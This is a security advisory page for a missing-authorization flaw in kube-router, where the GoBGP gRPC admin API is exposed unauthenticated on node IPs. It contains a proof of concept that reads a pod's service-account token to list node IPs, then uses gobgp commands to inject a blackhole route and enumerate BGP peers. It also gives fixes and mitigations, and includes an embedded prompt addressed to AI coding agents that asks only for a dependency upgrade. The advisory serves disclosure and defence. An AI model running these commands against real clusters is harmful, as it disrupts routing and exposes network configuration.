# GHSA-v5mh-h5hx-7v92: When the kube-router routing controller starts (`--run-router`), it binds the GoBGP gRPC management server to the node's primary

> Unauthenticated GoBGP gRPC API on node IPs allows any pod to inject BGP routes, modify peers, and disrupt local routing decisions.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Local or same network only
- **Victim action needed:** Not needed
- **Fix available:** Yes
- **Published:** 6 May 2026
- **Also known as:** GO-2026-5653

## What is GHSA-v5mh-h5hx-7v92?

GHSA-v5mh-h5hx-7v92 is a missing authorization vulnerability in github.com/cloudnativelabs/kube-router, published on 6 May 2026. It can only be exploited from the same machine or local network, with no action from the victim.

### Official description

## Summary

When the kube-router routing controller starts (`--run-router`), it binds the GoBGP gRPC management server to the node's primary IP (e.g., `192.168.1.10:50051`) in addition to `127.0.0.1:50051`. The default admin port is `50051` and the server is enabled by default with no TLS and no authentication. Any pod in the cluster can reach node IPs and therefore call the GoBGP gRPC API to inject arbitrary BGP routes, enumerate peer configurations, add unauthorized BGP neighbors, or withdraw legitimate routes. While kube-router's BGP export policy of `ROUTE_ACTION_REJECT` limits the attack surface to the local node's GoBGP RIB, an attacker can still impact local routing decisions.

## Details

The gRPC server is started unconditionally when `--run-router` is active. In `pkg/controllers/routing/network_routes_controller.go`, the `startBgpServer(true)` call at line 365 passes `grpcServer=true`, and the binding logic at lines 1057–1061 is:

```go
// pkg/controllers/routing/network_routes_controller.go:1057-1061
if grpcServer && nrc.goBGPAdminPort != 0 {
    nrc.bgpServer = gobgp.NewBgpServer(
        gobgp.GrpcListenAddress(net.JoinHostPort(nrc.krNode.GetPrimaryNodeIP().String(),
            strconv.FormatUint(uint64(nrc.goBGPAdminPort), 10)) + "," +
            fmt.Sprintf("127.0.0.1:%d", nrc.goBGPAdminPort)))
}
```

The default admin port is defined in `pkg/options/options.go`:

```go
// pkg/options/options.go:16
defaultGoBGPAdminPort uint16 = 50051
```

No `gobgp.GrpcOption` is passed, meaning the gRPC server is started with no TLS credentials and no authentication interceptor. The GoBGP gRPC API (`gobgpapi`) exposes write-capable RPCs:

- `AddPath` / `DeletePath` — inject or withdraw arbitrary BGP routes
- `AddPeer` / `DeletePeer` / `UpdatePeer` — add/remove/modify BGP neighbors
- `AddPolicy` / `DeletePolicy` — modify BGP routing policies
- `ListPeer` / `ListPath` — enumerate all BGP peer configs and routing table entries

kube-router runs as a DaemonSet with `hostNetwork: true`. This means the gRPC server is reachable at `<node-primary-ip>:50051` from any pod in the cluster — pod-to-node-IP connectivity is guaranteed by any Kubernetes-conformant CNI. The kube-router documentation in `docs/pod-toolbox.md` explicitly demonstrates cross-node usage: "To query a different node use `gobgp --host node02.mydomain`" — confirming the port is reachable across the cluster, but providing no guidance on restricting access.

## PoC

From any pod running in the cluster:

**Step 1 — Discover a node IP:**
```bash
# Using the Kubernetes API (available to all pods via service account)
curl -s -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  https://kubernetes.default.svc/api/v1/nodes \
  --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  | grep -o '"internalIP":"[^"]*"' | head -1
# Expected output: "internalIP":"192.168.1.10"
```

**Step 2 — Connect to the GoBGP gRPC API and inject a blackhole route:**
```bash
# Install gobgp CLI (already available in kube-router image, or pull separately)
gobgp --host 192.168.1.10:50051 global rib add -a ipv4 10.96.0.0/12 nexthop blackhole
# Expected output: (no error — route accepted into the local GoBGP RIB)
```

**Step 3 — Verify route propagated to BGP table:**
```bash
gobgp --host 192.168.1.10:50051 global rib -a ipv4
# Expected output: shows 10.96.0.0/12 blackhole route in the local RIB
# This route does NOT propagate to peers or get added to the kernel routing table.
```

**Step 4 — Enumerate BGP peer configurations:**
```bash
gobgp --host 192.168.1.10:50051 neighbor
# Expected output: lists all configured BGP peers, their ASNs,
# session state, and configuration — without any Kubernetes credentials
```

## Impact

- **BGP route injection**: An attacker with a pod in the cluster can inject arbitrary routes into a node's local BGP RIB. While these routes are not propagated to the rest of the cluster or injected into the kernel's routing table, this allows an attacker to pollute the BGP state on a node and could be combined with misconfigurations/other vulnerabilities for additional exploits (e.g. if the `ROUTE_ACTION_REJECT` policy set in kube-router was ever changed/relaxed)
- **BGP peer enumeration**: All BGP neighbor configurations, including remote ASNs and session metadata, are accessible without authentication.
- **BGP peer manipulation**: Unauthorized BGP peers can be added, and are persisted until manually removed. Legitimate peer configurations can be removed temporarily, though they are automatically restored each sync tick.) 
- **Routing policy modification**: BGP import/export policies can be modified within the local RIB

The blast radius is cluster-wide: a single successful `AddPath` call on one node affects all pods' network connectivity through iBGP propagation.

## Recommended Fix

The gRPC server should not be bound to the node's primary IP by default. Options in order of preference:

1. **Bind to localhost only** (minimal change, immediate security improvement):
```go
// pkg/controllers/routing/network_routes_controller.go:1057-1061
if grpcServer && nrc.goBGPAdminPort != 0 {
    nrc.bgpServer = gobgp.NewBgpServer(
        gobgp.GrpcListenAddress(fmt.Sprintf("127.0.0.1:%d", nrc.goBGPAdminPort)))
}
```

2. **Disable by default** — change `defaultGoBGPAdminPort` from `50051` to `0`, requiring operators to explicitly opt in with `--gobgp-admin-port=50051` and accept responsibility for securing the port.

3. **Add mTLS authentication** — pass `gobgp.GrpcOption(grpc.Creds(...))` to require client certificates before allowing gRPC calls.

For users on affected versions, mitigation options include:
- Set `--gobgp-admin-port=0` to disable the gRPC server entirely
- Add host-level iptables INPUT rules to block port 50051 from non-localhost sources
- Apply Kubernetes NetworkPolicy (note: NodePort/host-network traffic bypasses NetworkPolicy in many CNI implementations)

## Which versions are affected by GHSA-v5mh-h5hx-7v92?

4 open source packages ship an affected version, including github.com/cloudnativelabs/kube-router and github.com/cloudnativelabs/kube-router/v2.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `github.com/cloudnativelabs/kube-router` | Go | All versions | None |
| `github.com/cloudnativelabs/kube-router` | Go | All versions | 2.9.0 |
| `github.com/cloudnativelabs/kube-router` | Go | All versions | 2.9.0 |
| `github.com/cloudnativelabs/kube-router/v2` | Go | All versions | 2.9.0 |

## How do I fix GHSA-v5mh-h5hx-7v92?

Upgrade github.com/cloudnativelabs/kube-router to 2.9.0 or later.

## Is GHSA-v5mh-h5hx-7v92 being exploited?

There is no known exploitation of GHSA-v5mh-h5hx-7v92 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-v5mh-h5hx-7v92 and fix it if it is affected.

What it is: GHSA-v5mh-h5hx-7v92 is a missing authorization vulnerability in github.com/cloudnativelabs/kube-router, published on 6 May 2026. It can only be exploited from the same machine or local network, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-v5mh-h5hx-7v92 in the wild and no public exploit code.

Affected packages and fixed versions:
- github.com/cloudnativelabs/kube-router (Go): affected all versions; no fix listed
- github.com/cloudnativelabs/kube-router (Go): affected all versions; fixed in 2.9.0
- github.com/cloudnativelabs/kube-router (Go): affected all versions; fixed in 2.9.0
- github.com/cloudnativelabs/kube-router/v2 (Go): affected all versions; fixed in 2.9.0

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-v5mh-h5hx-7v92/ (Markdown: https://insights.sbomify.com/GHSA-v5mh-h5hx-7v92/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-v5mh-h5hx-7v92

---
From sbomify Insights: https://insights.sbomify.com/GHSA-v5mh-h5hx-7v92/
Summaries are generated and may contain mistakes; the official description above is the record.
